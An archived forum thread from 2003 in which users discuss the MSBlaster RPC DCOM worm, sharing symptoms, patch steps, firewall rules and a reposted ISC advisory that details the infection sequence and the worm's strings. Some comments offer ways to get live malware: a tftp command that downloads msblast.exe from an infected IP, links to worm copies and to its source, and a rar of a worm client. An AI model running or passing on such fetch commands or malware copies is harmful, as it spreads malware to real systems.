My friends Xp box just went flaky, when you boot it up it says it has some kind of RPC problem then shuts down after some 30 seconds.
yes, that happened to me too. i patched and it stopped. but maybe it's too late, huh ?

The fun begins...

[PhoenixFlare]

~50 hits on my router in just the last half-hour or so, 90% of them from Rochester and NYC RoadRunner addresses.

I have a feeling this worm will hit especially hard on home broadband users that never touch Windows Update.

Re:The fun begins...

[k-hell]

Yep, you got that one right. I just helped a friend of mine here in Boston getting rid of the worm. He's on AT&T broadband and hasn't been using Windows Update in a couple of months.

He called me because he got this "strange error message" when he logged in, saying that there was "something wrong" with RPC, and that he had 1 minute to save his files before the machine rebooted. I thought "riiight, RPC.. I guess we need to check your running processes and your registry here..". And of course, msblast.exe was running. He wasn't using Windows XP's built in firewall either. A portscan using GRC.com Shield's UP! revealed the story: His machine was wide open. No we're patching, patching and even more patching.

Port Scan your computer/net

[k-hell]

I suggest you use GRC.com's excellent port scan feature if you got a Windows machine. It's called 'Shield's UP!' and is available here (scroll down a bit), and will scan your system's first 1052 ports.

If it spawns a shell...

[Kegetys]

...then could you use it to disinfect the system? Or at least notify the owner of the box, by making a txt file at the desktop or something.

when are you windows users gonna learn

[JohnwheeleR]

HAHAHA. That is so funny. Windows Sux

Quick-Fix

[Chaymus]

So i load up my /. as my homepage, take a look at the first headline, RP-What? Read up a bit, go: "Huh, that's interesting" and head off to my email site. Bam! i get pegged with this worm and my computer shuts down. For anyone else in the same boat as me, you can still download the patch using the infected computer by typing: services.msc there will be two services listed that are directly linked to this worm under the Remote Procedure Call heading, just look threw the list in the standard tab. You can by pass it by going into teh properties and changing the crash executions do "Do nothing" instead of restarting your computer. I was able to download the patch via the website and am now looking for a way to rid myself of this worm. Firewalls eh? I've heard of them, but then what else am I going to do in my spare time?

Re:Quick-Fix

[Chaymus]

lmao, and for anyone wanting to know where to type services.msc that would be the Run...button on your start menu. I'm running XP professional.

Watching it unfold?

[Merk]

Anybody know good Internet traffic type sites where you can watch this unfold? I found one showing that Asia seems to be experiencing some troubles, but I'm not sure how accurate or good the info is.

Launch all zig!

[Anonymous Coward]

For great justice!!!

Egress Filtering

[ThatDamnMurphyGuy]

I've said it before, and I'll say it again.

While there is no excuse for not updating your systems, some people can't do so because of business policy reasons (non-tested patches against business critical systems).

EVERYONE with a server on the internet should also have Egress filtering in place. 486 mahcines are cheap. Unix/Linux firewalls are free. On the off chance you do get the M$ IS$ Worm of the week, at least your server can't initiate an outgoing connection to download more code and move on to the next system.

Re:Egress Filtering

[ThatDamnMurphyGuy]

Then again, why on earth expose these to the internet? (135, 139, or 445). Or course, internal virii catching employees are just as dangerous to your servers as the external bad guys.

Re:Egress Filtering

[jimmyharris]

We have those ports blocked at the border routers where I work (a major Australian university) and we've been hit from the inside. Once you have one infection it spreads VERY quickly from our experience.

Re:Egress Filtering

[EvilTwinSkippy]

You are also assuming that your machine doesn't have to do some sort of dialback VPN. I've been screaming for years to get one particular box off of the public network, but a niche app requires it to replicate a database over VPN. Okay, not a problem, full NAT and I'm fine. Not really. I also need to leave the box open so the vendor can VPN in. Okay, just have them use our corporate VPN. No dice, their network security folks won't let them.

Rinse, repeat, check want-ads...

Patching is not all that you need to do

[databoing]

To keep this worm from coming to full fruition, you also have to edit your registry and delete the msblast.exe file from your system32 folder. I want to go back home to my linux box and just forget this day ever happened...

i dont get it

[Anonymous Coward]

am I missing something? why is this +4, funny?

Re:i dont get it

[Alan]

Search google for "steve balmer monkey dance"

Re:i dont get it

[cant_get_a_good_nick]

sweaty bald monkey dance? =)

Too Late

[Anonymous Coward]

Just for everyones ammusement, a major life insurance company, in Milwaukee, closed its port 135 when the announcment came out several weeks ago. But some idiot, went and ran an unknown attachment on an email and now 5000 field employee computers were crippled.

Its just too funny.

Want a copy?

[dapuk]

tftp -i 217.211.179.193 GET msblast.exe

(use any of the ips listed on http://isc.sans.org/diary.html?date=2003-08-11) ... lets slashdot them :) -that would slow the growth...

mabye its too late.

if you wish to analyse it a little, you can simply upx -d msblast.exe to unpack it...

Re:Want a copy?

[Dr. Shim]

I won't touch it unless I can tar zxvf it or use bzip2. Pththth!!

Confirmed some details

[RobertB-DC]

Just FYI, I've confirmed on my system that at least some of the parent's information is true. I got hit around 2pm Dallas time, and I've now got a file called msblast.exe in c:\winnt\system32 with a file length of 6176 bytes.

After the "to say LOVE YOU SAN!!" string, I find these words: bill gates you make hi possi. And before it, it looks like it says "I ju wan to say" (with control characters that may or may not be of interest).

Sure enough, Symantec has some info now, too (just sent by someone in my co.).

Timing sucks on this one -- I'm right in the middle of coding for 3rd quarter tax changes. Crap!

Re:Confirmed some details

[Anonymous Coward]

There is a copy of this worm at http://www.packetfu.org/malware/msblast.zip.

Umm...

[xYoni69x]

The latest Win2k service pack is SP4, you know...

(This was released about 2 months ago, IIRC.)

This is Just Great...

[Dr. Shim]

We need more jobs in order to keep the jobless programmers from getting bored out of their skulls and creating worms.

And, we need to start making homework more interesting. I mean, really interesting. Totally, undeniably fascinating at that.

Well, it's a start. Any ideas on the latter? Because I'm absolutly clueless.

Re:This is Just Great...

[Famanoran]

Are you sure this was by a programmer? What if the Internet is becoming alive, and these worms are lifeforms it's creating on its own... perhaps the Internet hates Microsoft too... OH MY GOD, IT'S FULL OF BUGS!!!

Re:This is Just Great...

[Dr. Shim]

Microsoft Internet 2003 Service Pack 879.

Quite a few bugs in there.

Old News

[red floyd]

If you look at the security bulletin, it was issued on 16 July. The fix has been out for a month, and my work machine (XP) was installed on the same date via Windows Update.

While I love to bash MS as much as the next guy on SlashDot, this isn't news.

Re:Old News

[Anonymous Coward]

While the bug itself isn't news, the worm is. And I believe from the title 'RPC DCOM Worm On The Loose' this story is talking about the just unleashed worm, not the month old bug. Though they are closely related.

Re:Old News

[red floyd]

Ahhh... I see the difference. You're absolutely correct, AC though you may be.

oh great.... another microsoft patch

[Rooked_One]

let the "*nix is better" jokes begin.

Imposter Alert-- mod parent down

[Anonymous Coward]

Parent poster is obviously pretending to be MS employee....

Nice joke though....

Re:Imposter Alert-- mod parent down

[einhverfr]

Parent poster is obviously pretending to be MS employee....

Actually, I am a temp.

In this climate, we take the jobs we can get....

Re:Wow

[Anonymous Coward]

Wow, slashdot (the editors) is putting way more emphasis on serious bugs in Windows than Linux, *bsd, or anything else.

The reason being, of course, that the last worm to hit "Linux, *bsd or anything else" as hard as this RPC worm (or Nimda, etc.) hit Windows was the Morris worm. :)

Yawn....

[dfn5]

They did this already last week on Stargate SG1 with that virus that spread from gate to gate and took down the whole network in 2+ hours. Can't these virus writers ever come up with something original?

ISC Advisory

[Dynamoo]

Internet Storm Center is getting hammered, so I attach their analysis.

NOTE: the scanning is being done Code Red style, so it is concentrating on the class B pseudo-subnet, e.g. 123.123.x.x. If this gets inside your corporate firewall then you are screwed.

I count about 1 scan every 10 seconds at present.

--x8 Cut here ----

This RPC DCOM worm started spreading early afternoon EDT (evening UTC). At this point, it is spreading rapidly.

**********
NOTE: PRELIMINARY. Do not base your incidents response solely on this writeup. **********

Increase in port 135 activity: http://isc.sans.org/images/port135percent.png

The worm may launch a syn flood against windowsupdate.com on the 16th. It has the ability to infect Windows 2000 and XP.

The worm uses the RPC DCOM vulnerability to propagate. One it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp. The exploit itself is very close to 'dcom.c' and so far appears to use the "universal Win2k" offset only.

Infection sequence: 1. SOURCE sends packets to port 135 tcp with variation of dcom.c exploit to TARGET
2. this causes a remote shell on port 4444 at the TARGET
3. the SOURCE now sends the tftp get command to the TARGET, using the shell on port 4444,
4. the target will now connect to the tftp server at the SOURCE.

The name of the binary is msblast.exe. It is packed with UPX and will self extract. The size of the binary is about 11kByte unpacked, and 6kBytes packed:

MD5sum packed: 5ae700c1dffb00cef492844a4db6cd69 (6176 Bytes)

So far we found the following properties:

- Scans sequentially for machines with open port 135, starting at a presumably random IP address
- uses multiple TFTP servers to pull the binary
- adds a registry key to start itself after reboot

Name of registry key:
SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n, name: 'windows auto update'

Strings of interest:

msblast.exe
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
windowsupdate.com
start %s
tftp -i %s GET %s
%d.%d.%d.%d
%i.%i.%i.%i
BILLY
windows auto update
SOFTWARE\Microsoft\Windows\CurrentVersion\ Run

Existing RPC DCOM snort signatures will detect this worm. The worm is based on dcom.c

Re:ISC Advisory

[Dynamoo]

(Any chance of a mod up.. the ISC is having huge difficulties)

--------

Updated August 11th 2003 17:59 EDT
RPC DCOM WORM (MSBLASTER)
This RPC DCOM worm started spreading early afternoon EDT (evening UTC). At this point, it is spreading rapidly.

**********
NOTE: PRELIMINARY. Do not base your incidents response solely on this writeup. **********

Increase in port 135 activity: http://isc.sans.org/images/port135percent.png

In order to protect yourself, you need to :
Close port 135 (if possible 135-139, 445 and 593)
Apply Patches http://www.microsoft.com/technet/security/bulletin /MS03-026.asp

If you are infected:
- disconnect machine from any network
- delete msblast.exe - delete registry key staring msblast.exe - reboot.

The worm may launch a syn flood against windowsupdate.com on the 16th. It has the ability to infect Windows 2000 and XP.

The worm uses the RPC DCOM vulnerability to propagate. One it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp. The exploit itself is very close to 'dcom.c' and so far appears to use the "universal Win2k" offset only.

Infection sequence: 1. SOURCE sends packets to port 135 tcp with variation of dcom.c exploit to TARGET
2. this causes a remote shell on port 4444 at the TARGET
3. the SOURCE now sends the tftp get command to the TARGET, using the shell on port 4444,
4. the target will now connect to the tftp server at the SOURCE.

The name of the binary is msblast.exe. It is packed with UPX and will self extract. The size of the binary is about 11kByte unpacked, and 6kBytes packed:

MD5sum packed: 5ae700c1dffb00cef492844a4db6cd69 (6176 Bytes)

So far we found the following properties:

- Scans sequentially for machines with open port 135, starting at a presumably random IP address
- uses multiple TFTP servers to pull the binary
- adds a registry key to start itself after reboot

Name of registry key:
SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n, name: 'windows auto update'

Strings of interest:

msblast.exe
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
windowsupdate.com
start %s
tftp -i %s GET %s
%d.%d.%d.%d
%i.%i.%i.%i
BILLY
windows auto update
SOFTWARE\Microsoft\Windows\CurrentVersion\ Run

Existing RPC DCOM snort signatures will detect this worm. The worm is based on dcom.c

Fix We use at our internet provider for WinXP

[ironicsky]

Step 1. Shut down PC Step 2. Disconnect Network Step 3. Start up PC Step 4. Click Start -> Settings -> Control Panel Step 5. Double Click Network Connections Step 6. Right Click the Local Area Connection used to access Internet. Example: Local Area Connection 1 Step 7. Select Properties Step 8. Click the Advanced Tab Step 9. Enable the Windows XP Firewall Step 10. Click OK, Close out of open windows. Step 11. Plug in the network again. Step 12. Ensure Connection is stable Step 13. Open Internet Explorer Step 14. Go to the following URL: http://www.microsoft.com/technet/default.asp Step 15. Click the Link toward the middle of the page titled: Action: Read Security Bulletin MS03-026 and Install the Security Patch Immediately Step 16. Scroll Down Page about half way to Patch Availability Step 17. Click Windows XP 32 bit Edition Step 18. Click Download in the upper right of the screen. Step 19. Save the file to the desktop Step 20. Run the downloaded file. Step 21. The patch will install and prompt the customer to reboot. Step 22. Once the patch is installed and the computer rebooted, the Windows XP firewall can be disabled and the customer can surf normally.

Avert shutdown

[Oakey]

If you get the pop up giving you 60 seconds to shutdown and it's causing you hassle running the patch (ie, it happens everytime you boot) then I hear you can stop the shutdown sequence by opening command prompt and typing 'shutdown -a'

Whether this works or not I don't know as I managed to pach mine. Hope this may be of some help.

Aww crap...

[JGag21]

I have a problem, a lot of my users work in remote offices which I can't touch. I don't trust all of them to apply patches on their own, I'm not quite sure what I'm gonna go about this. Hell, it's hard enough to have people actually read the e-mails we send out in the first place. Any suggestions?

Re:Aww crap...

[mlk]

VNC?

Internet Connection Firewall

[yarisbandit]

Hate to say it, but the built in internet connection firewall in XP was dead handy - I couldn't stay online long enough to download the patch without being restarted, so i turned it on before connecting, and no problems since...

Darn, I really need to configure wingate properly, thought i had it tight...

silly me

[Seft]

i cant believe i went *3* reboots before turning off the error message - thats right! then i read about this worm. too much bf1942, not enough /. - the moral of the story.

Our Fix for out Cable ISP

[ironicsky]

Step 1. Shut down PC
Step 2. Unplug Cable Modem.
Step 3. Start up PC
Step 4. Click Start -> Settings -> Control Panel
Step 5. Double Click Network Connections
Step 6. Right Click the Local Area Connection used to access Internet. Example: Local Area Connection 1
Step 7. Select Properties
Step 8. Click the Advanced Tab
Step 9. Enable the Windows XP Firewall
Step 10. Click OK, Close out of open windows.
Step 11. Plug in the Cable Modem.
Step 12. Ensure Block Sync is established.
Step 13. Open Internet Explorer
Step 14. Go to the following URL: http://www.microsoft.com/technet/default.asp
Step 15. Click the Link toward the middle of the page titled: Action: Read Security Bulletin MS03-026 and Install the Security Patch Immediately
Step 16. Scroll Down Page about half way to Patch Availability
Step 17. Click Windows XP 32 bit Edition
Step 18. Click Download in the upper right of the screen.
Step 19. Save the file to the desktop
Step 20. Run the downloaded file.
Step 21. The patch will install and prompt the customer to reboot.
Step 22. Once the patch is installed and the computer rebooted, the Windows XP firewall can be disabled

Re:Our Fix for out Cable ISP

[Anonymous Coward]

Why are you disabling the firewall at the end? Wouldn't it make a little sense to leave it enabled?

Or do you just want to do this again next time?

Re:Our Fix for out Cable ISP

[dBLiSS]

Sure you patched the computer, but you forgot to get rid of the worm! You still have the worm and it can still send out to others.

Too many restarts

[yarisbandit]

Anyone find it ironic that the patch requires you to restart windows? Hehehe...

Hitting hard..

[gscott_24]

I work in tech for a local/regional ISP that has about 10k customers. Our phones are getting slammed pretty good with people saying "my computer is shutting down.. something to do with RPC blahblah" (our users aren't very smart, as if that's a revelation).

This problem is real, and it seems pretty nasty so far. We're probably getting 40-50 calls an hour for the last 4-5 hours just on the RPC problem. That's a pretty good jump from maybe 10-15 calls an hour on average total.

I know I'm not having a good monday at work so far :(

Re:Hitting hard..

[Tackhead]

> Our phones are getting slammed pretty good with people saying "my computer is shutting down.. something to do with RPC blahblah" (our users aren't very smart, as if that's a revelation).

Hey, at least they're reading the error message instead of just saying "My computer won't work! Fix it! What do you mean 'error message', look, are you going to FIX IT or am I going to have to get your manager?"

Re:Hitting hard..

[Anonymous Coward]

i work for an isp with about 1 to 1.5 million customers, or roughly 18 states of coverage, with about 200 ISR's logged into the phones taking calls and we still have no less than 29 customers on hold and about 40 DSL customers non stop since about 1pm this after noon.

Firewall - Best Bet

[Anonymous Coward]

I work at a pc support center and our phones went off the hook. Best bet was to either disable the RPC service, or enable the Win XP firewall and get the patch.

So why did it *ever* listen to 445 by default?

[Tackhead]

> It looks like the worm affects svchost.exe (the Generic Host Process),

"Uh, WTF is SVCHOST.EXE, and why the fuck does it always bind itself to 445, and how can I make it stop doing that? I don't know what it's listening for, but I know that for what I'm using this box for, I don't need it, so why can't I disable the offending process?"
- Me, the first time I played with a W2K box.

"So SVCHOST does too much stuff to just kill it, but how can I at least stop it from binding to 445? I know I'm not doing anything on that port, and therefore don't want any process listening for data sent to it. Period."
- Me, after 5 minutes of trivial research.

"Crap, it looks like there's no way to stop SVCHOST from listening to 445. Guess I'd better install my favorite cheap-azz third-party software firewall and block it there. Once I've done so, I don't give a damn if SVCHOST still listens to 445, because unless there's a buffer 'sploit in the firewall software itself, SVCHOST won't get any of the traffic anyways."
- Me, after 5 more minutes.

"I knew this was gonna happen."
- Me, when I read about the DCOM hole last month.

Security is a process, not a product. The process is "Everything is forbidden except what is permitted. Run no services other than the bare minimum required to get the box to bring up a GUI. Run no services that listen to any network traffic unless explicitly started by the user."

Insecurity is a product, not a process. The product is "DCOM should be on by default because pointy-haired bosses won't be able to do $NEW_OFFICE_SUITE_FEATURE without it, nobody buys the OS for anything other than running Office and Outleak."

Repeat ad nauseam with IIS on/enabled by default (CodeRed), the ActiveX/scripting settings for MSIE (Drive-by downloads), the out-of-the-box UPnP vulnerability (port 1900), popup "spam" (port 135), etc.

Basically, every time M$ has the choice between security (Built shiny thing. Disable by default and have applications respond with an error message telling users how to turn shiny thing on if and only if the shiny thing is required by some user action), and stupidity (Oooooh, shiny thing! Enable by default and assume there are no bugs in the code anywhere!), Bill and friends have chosen stupidity.

Win NT4?

[panic911]

According to this slashdot post it says Win2k - Win2k3 is affected. Microsoft's page says the exploit is available in NT4.

Re:Win NT4?

[ostiguy]

There is definitely a MS patch for nt4, but I am not sure in this particular vuln. works on it

heres the 411

[troutsoup]

gives a rundown on how to remove it. http://securityresponse.symantec.com/avcenter/venc /data/w32.blaster.worm.html

Symantec's analysis

[bitkid]

here. Includes snort signature etc.

That is so 2 weeks ago

[gizmo_mathboy]

Didn't the RPC worm come out 2-3 weeks ago?

I went through the RPC worm shit 2 weeks ago. How is this news now? I've patched almost all of my boxes and am about finished with cleaning up the boxes that got missed and consequently hacked.

Re:That is so 2 weeks ago

[PhoenixFlare]

Uhh, no....

Personally speaking, i'm getting 1-2 hits per minute at the moment from this thing. Whatever "RPC worm shit" you already went through, it was either something different, or you just happened upon it a lot earlier than everyone else.

Re:That is so 2 weeks ago

[Cheffo Jeffo]

There have been a bunch of exploits and some bots, but no true worm ... until early this afternoon ...

Cheers,

JAKD

Symantec

[Zilfondel2]

We're currently got 112 windows Xp lusers in our queue looking at a 2 hour wait time to talk to us virus removal techs. "Sorry, no removal instructions, call tomorrow." hehe

What the worm does + copy of it

[AllynM]

there was a bittorrent download at suprnova.org earlier today labeled as a server 2003 keygen. it contained the worm client. it appeared to try to connect to some sort of irc server (reported by sygate firewall). It then downloaded about a meg of info from somewhere and created a /winnt/web/(something) folder. once this was done, it tried to do some sort of printer mapping via the internet, using its own explorer.exe (at this point i opted to kill it at the firewall, as well as the process). i ran through the sequence again, this time only blocking at the firewall (without killing the process), and after a few minutes got the RPC 'shutting down windows in 60 seconds' thing.

here is a copy of the worm client for those interested (17k rar).

be warned, this will mess up your system if you're not careful.

yes, i knowingly ran the worm, what can i say, i was bored/curious :)

Re:What the worm does + copy of it

[Anonymous Coward]

http://securityresponse.symantec.com/avcenter/venc /data/w32.spybot.worm.html

Other changes needed

[accountant]

Is that the S word I see here?

http://www.microsoft.com/com/tech/DCOM.asp

Bug/Feature??

[RonnyJ]

A lot of people seem to think the executable is bugged, crashing the RPC service and causing Windows to shutdown. Seems like a good payload to me. In my example, my computer shut down within a few minutes. This makes it exceedingly hard for people to find information and download a patch to fix it, yet at the same time, the trojan is scanning and infecting others while you're trying to fix it. I was struggling to download the patch on modem, took about 5 shutdowns until I had it. Also, at this moment, the main cable provider in the UK seems swamped with this problem, and I don't think it'll go away fast.

Re:Bug/Feature??

[g0del]

No, it's extraordinarily stupid. If it didn't crash the machine, most people who got it wouldn't even know they had a problem, and the worm would go on it's merry way for days or weeks, happily infecting other machines. As it is, even the dumbest of users knows that something is wrong, and in searching for a fix, is likely to remove the worm while removing the vulnerability.

Re:Bug/Feature??

[RonnyJ]

No, it's extraordinarily stupid. If it didn't crash the machine, most people who got it wouldn't even know they had a problem, and the worm would go on it's merry way for days or weeks, happily infecting other machines.

So, your idea of an 'intelligent' worm is one which spreads, but does absolutely nothing else? Guess that'll make big headlines...

Re:Bug/Feature??

[TitaniumFox]

One way to look at it is how viruses spread in meatspace. A virus that causes you to look, sound, and feel like death warmed over is going to cause people to go "Ick, get the F away from me!" (Thus, no vector) Instead, viruses that have few symptoms are spread because there's little or no host restriction. In this case, an intelligent worm that spread a little slower and without crashing your system could do much more damaging things later, on a wider installed base. Think of it as an answer to the 3. ????? right before 4. PROFIT!!11one!1!!!1

Am I infected?

[Anonymous Coward]

I got a message from my friend on my ICQ that something was up. He gave me a link to http://microsoft.com/downloads/details.aspx?Family Id=2354406C-C5B6-44AC-9532-3DE40F69C074&displaylan g=en

But I couldn't access the site, like I couldn't access many other sites. So he sent me the update through ICQ and I patched my Windows XP and rebooted.

After the reboot I haven't been able to connect to ICQ or MSN Messenger and I can only access a couple of sites (like this one, luckily). I tried restoring the system like it was before the patch, but then there still was the same problem so I patched it again.

I've used the windows search to see if I have the MSblast.exe file and it didn't find it.

Am I infected, or is it just that every other damn server I am trying to connect to is?

Sorry for the long post.

This worm just hit us

[brkello]

I am pretty surprised it got us. Our network guys do a really good job of preventing this stuff from getting in. But this one hit us hard. It slowly spread through the network. My co-worker was the first I know who got it. Then it hit mine, then others in my department. It would kill RPC every 15 minutes at first, which caused my machine to reboot. Right before I got rid of it, it was killing it 30 seconds after the system came back up. Fortunately, my brother was reading Slashdot and said "oh, that sounds like the RPC DCOM worm". Sure enough, that was the problem and just had to delete msblast.exe in my registry. And to those of you who have been saying "I don't have a problem, I use a firewall". Well, we are behind a firewall too (one that is managed better than most since we are government) and it still slipped in.

I got this one...

[UfoZ]

After manually updating my virus definitions and explicitly pointing NAV to the file, it still reckoned it's clean. Way to go, Norton. At least the MS patch seemed to work, although I've seen some people on IRC get repeatedly raped and always before they managed to download and install the patch. Sucks for them, I guess.

The worm, aptly named msblast.exe and happily sitting in my system32 folder, sending itsself to a bunch of random addresses (that happened to be in a reserved netblock and were timing out, go figure) was packed with UPX, after uncompressing and running strings on it here are some interesting finds:

msblast.exe
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
windowsupdate.com
start %s
tftp -i %s GET %s
%d.%d.%d.%d
%i.%i.%i.%i
windows auto update
SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Fun, hah? Way to go you bloody wanker, you made my day. I hope SAN (your right hand) loves you too.

Mcafee's calling it. W32/Lovsan.worm

[fuqqer]

Here's a link to the Mcafee site re: the worm. Here's a link to the source code of the worm.

More Information

[epsilonzero]

SecurityFocus has an analysis for the worm here.

Thanks Microsoft for my faulty XP install disk!

[DJAthens]

Three days ago I was installing XP onto my computer. During the file copy process, a couple files were corrupt and wouldn't copy, so I had to abort the process and reinstall Win98. Ironically, one of the files was RPCxxxx.dll!!!!

Good

[imsabbel]

I really like the fact that the worm crashed my xp. Because i noticed at once something is wrong. And it keep crashing 1-5min after login into the net, so there war little chance for anyone to really use the exploit (thx to dynamic ip).

Cant imagine how much more packets would be flying around if all those crashing machines would be spamming the worm right now....

Re:Good

[SpaceRook]

I had the same exact experience. I'd log in, and the WinXP would restart after 3 or 4 minutes. It would give me a 60-second countdown. Fortuneately, this was enough time to download the patch and install it. I'll scan my computer tommorow to see what damage was done. There doesn't APPEAR to be anything at the moment....

Fun with access lists

[Anonymous Coward]

Here's what a small POP at a dial-up wholesale provider looks 2 minutes after an ACL application. Keep in mind this is a small POP. We also blocked 4444.

deny udp any any range 135 netbios-ss (4735 matches)
deny tcp any any range 135 139 (16343 matches)
deny tcp any any eq 4444 (80 matches)

worm worm

[blizatrex]

And to all of the pecee users out there get a mac

firewall = good

[mmuskratt]

if you read /., don't run a firewall, and then complain about M$, all i have to say is, "phtttbht." linux needs patching, unix needs patching, M$ needs patching...but this worm would not propagate with a properly configured firewall in place, making the security patch a little less critical.

the fact that people are getting hit with this worm indicates that there is simply not enough education about computer security out there, or that there is too much laziness from both consumers and software licensing companies.

this worm is not an issue to people with the correct closed ports...

Re:firewall = good

[wik]

That's all fine and dandy until some guy with an infected laptop walks in and brings the virus behind your firewall. Alternatively, think about a home machine connected to a corporate network through a VPN. Suddently the firewall seems a lot less reassuring.

Re:firewall = good

[BrainInAJar]

Strict adherence to the ideas of quarentine (not letting non-sanctioned computers on your network, not letting sanctioned computers on other networks), and DMZ (any computer connected to a public network... I have my wifi router outside the DMZ), then there wouldn't be that problem either

Re:firewall = good

[wik]

Sure. How about people who bring their laptops in and plug them into the wired network? Okay, let's DMZ them. Now, how do they get to the corporate network?

If your answer is "they don't", then you've effectively taken away the reason for having a network in the first place. If your answer is VPN, then you've left a gaping tunnel from the outside, through your firewall.

My point is not that firewalls are only one piece of the security plan, but they cannot solve everything.

Re:firewall = good

[mmuskratt]

That is true, but again it begs the question of proper setup. Any home user that is VPN'ing into my network is going to be behind, at the very least, a personal firewall. Some doofus bringing their infected laptop into my network won't get very far, as we don't allow connections to our network without checking who is plugging in first. Granted, I run a small network, but there are methods in place to make sure that none of the systems that plugs in here is going to cause me problems.

worm worm who's got the worm?

[blizatrex]

If all of you windoze users would just switch over to a mac the world would be a much happier place. **Hugs Mac**

Re:worm worm who's got the worm?

[mmuskratt]

yeah, then we'd be patching up a BSD-based OS...and the mac heads would all be wondering why their fuzzy little computers have that question mark on the screen...

Re:worm worm who's got the worm?

[blizatrex]

sure what never

Re:worm worm who's got the worm?

[mmuskratt]

exactly the reason people are affected by security vulnerabilities, comments like, "sure, whatever."

No OS is free from patch fixes...bugs are found regardless...M$ is an easier target because it is a) more prevalent and b) lower hanging fruit (swiss cheese, security-wise). Believe me, if everyone had a mac running OSX, people would still be patching their systems...or saying, "whatever" and infecting everyone else who feels the same way...

Re:worm worm who's got the worm?

[mmuskratt]

i love my mac, i even named it mr. snookums because it makes me feel so good inside. mr. snookums has personality. mr. snookums is my friend and i don't need to use more than one button for anything. yay for mac! yay yay!

Re:worm worm who's got the worm?

[pair-a-noyd]

Mod parent +12 gay..

Re:worm worm who's got the worm?

[smash]

[blockquote] If all of you windoze users would just switch over to a mac the world would be a much happier place. **Hugs Mac** [/blockquote] Right....

Hate to burst your bubble there, but in the real world, you have to interact with people running MS software.

For all its faults, Windows is still the most convenient way of doing this.

Macintoshes have their share of problems in any case (yes, even OS/X) - they're just not popular enough to be worth exploiting to cause havoc at the moment.

smash.

Shacknews monkleys

[Anonymous Coward]

Ive figured it was out there. All the people on shacknews that refuse to update their systems and think linux is only for l33t omfg Im cooler then j00 dudes have been asking for the last few days "what is tftp!!??"

Heh - Its like I tell all the crazy teens. If you are going to fuck like rabbits (ie use windows) then please use protection (firewall + patch patch and PATCH).

Oh well - live and learn!

XBOX

[scifience]

Hmm...I wonder if my XBOX will start crashing whenever I try to play an online game... It does run a version of Win 2k, after all.

Re:XBOX

[Anonymous Coward]

umm... dont take the risk. Install linux on it

http://xbox-linux.sourceforge.net/

I always love these attacks

[pclminion]

My /var/log/iptables_input_reject.log file is now a list of exploitable hosts ;-)

I'm only KIDDING, jeez!

Just got it this morning

[firew0lfz]

around 11 - 12ish noon here in the midwest. Was wondering what was svchost.exe and why it was crashing so much.. thought I was alright after I installed SP3... thank god for slashdot. :-D also called up tech support on my ISP, appears alot of activity on 135 been goin' on for past couple of weeks. many thx to the user who posted the fix with the regedit and all. (use "netstat" in the command prompt if you're unsure about things.. if you get hit with alot of "epmap"s .. thats prolly it. ctrl+alt+delete and take a look for the "msblast.exe" program.)

The automatic update...

[RobertB-DC]

I'm guilty of depending on the built-in "Automatic Updates" function in Win 2k. I don't really have a good excuse -- I'm a programmer, or at least that's what my boss thinks. But I know the non-technical people believed Bill Gates when his program said:

Automatic Updates
Windows can find the updates you need and deliver them directly to your computer.

[X] Keep my computer up to date. With this setting enabled, Windows Update software may be automatically updated prior to applying any other updates.

Settings:

(o) Notify me before downloading any updates and notify me again before installing them on my computer

The only update I've been "notified" about is the Windows Media Player update, which I've kept ignoring because I don't use Media Player.

Besides, windowsupdate.com wouldn't have done me any good. It only seems to work in IE. I run Opera, you insensitive clods!

Re:The automatic update...

[MattCohn.com]

And Windows Update uses ActiveX, while Opera refuses to support ActiveX because of security concerns. Oh well, not Microsoft's fault, but Opera. However, I do think it was a good call on Opera's part to not support ActiveX. Who needs it? I have IE set to alert me whenever an ActiveX thingy tries to do somethin, and if I'm not at Windows Update I will most likelly deny it.

Block TCP 4444 and TFTP = UDP 69 at Routers

[billstewart]

Blocking the various Microsoft ports will help prevent infections, but you should also block 4444 (the port the worm uses to communicate with other worms and the WormMaster) and (if it won't disrupt too much of your other activities, which it shouldn't) block tftp (which the worm uses to download attack code after getting infected.)

That's not generic advice for the DCOM bug - for that you'll need to catch whichever of the MS ports are being abused this week. But it's guesswork advice for this particular instantiation of a worm that's exploiting it so you can at least slow down this one and isolate damage, and work on patching the actual holes in Windows so that you can prevent next week's worm that uses the same bug but some other inter-worm communication path from getting in.

At least on the couple of machines I've looked at, TCP 4444 isn't used for anything (there's a UDP 4444 used for Kerberos 4-to-5 conversion or something.) TFTP gets used for things like uploading operating system versions to diskless PCs and routers, and still isn't something you should be accepting from the outside world, and for the most part (YMMV) is only used by administrators who are better off stomping worms first and upgrading routerware later. The Microsoft ports are used by all kinds of Microsoft applications - you almost certainly should be blocking them to and from the outside world, but whether to block them inside your internal nets, and where, is a decision you'll need to make based on how much of which MS network products you're actually using. (e.g. you don't want to kill all your thin-client PCs by killing off their mounts of the file servers - but you also don't want them infecting each other.)

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[child_of_mercy]

http, ftp, email (smtp, pop or imap), ssh.

thats 5 ports.

why do you need to have ANY others open to incoming connections?

I mean stateful firewalls aren't rocket science any more.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[Knightmare]

Not trying to pick on you, your just at the end of the chain on this thread :) The problem isn't at the gates. The problem at least on big networks comes in when you have VPN, dial-in, dial-out, laptop users that take computers home at night, etc... Unless you are doing acl's at each layer2/3 device then all the border protection in the world isn't going to stop it from spreading when Joe brings in his laptop from home where he has no cable router.

The only valid defense for this one is to patch, or run a network where windows boxes don't really talk to eachother or exchange... The 4444 thing will work for this variant, but .B will just add randomization of the shell port so you are pretty much hosed at that point.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[child_of_mercy]

ok, the network I'm involved in admining is only about 40 boxes.

we allow home users to FTP the file servers which seems to keep everyone happy and don't bother with VPN.

physically segmented, firewalled (retired desktop boxen with an extra NIC and a bridging kernel), subnets and zonealarm (software firewall) on ALL the windows boxes, Linux Samba boxes for file and print sharing.

I would have thought that bigger networks would have been more secure not less given the budgets.

But I guess not.

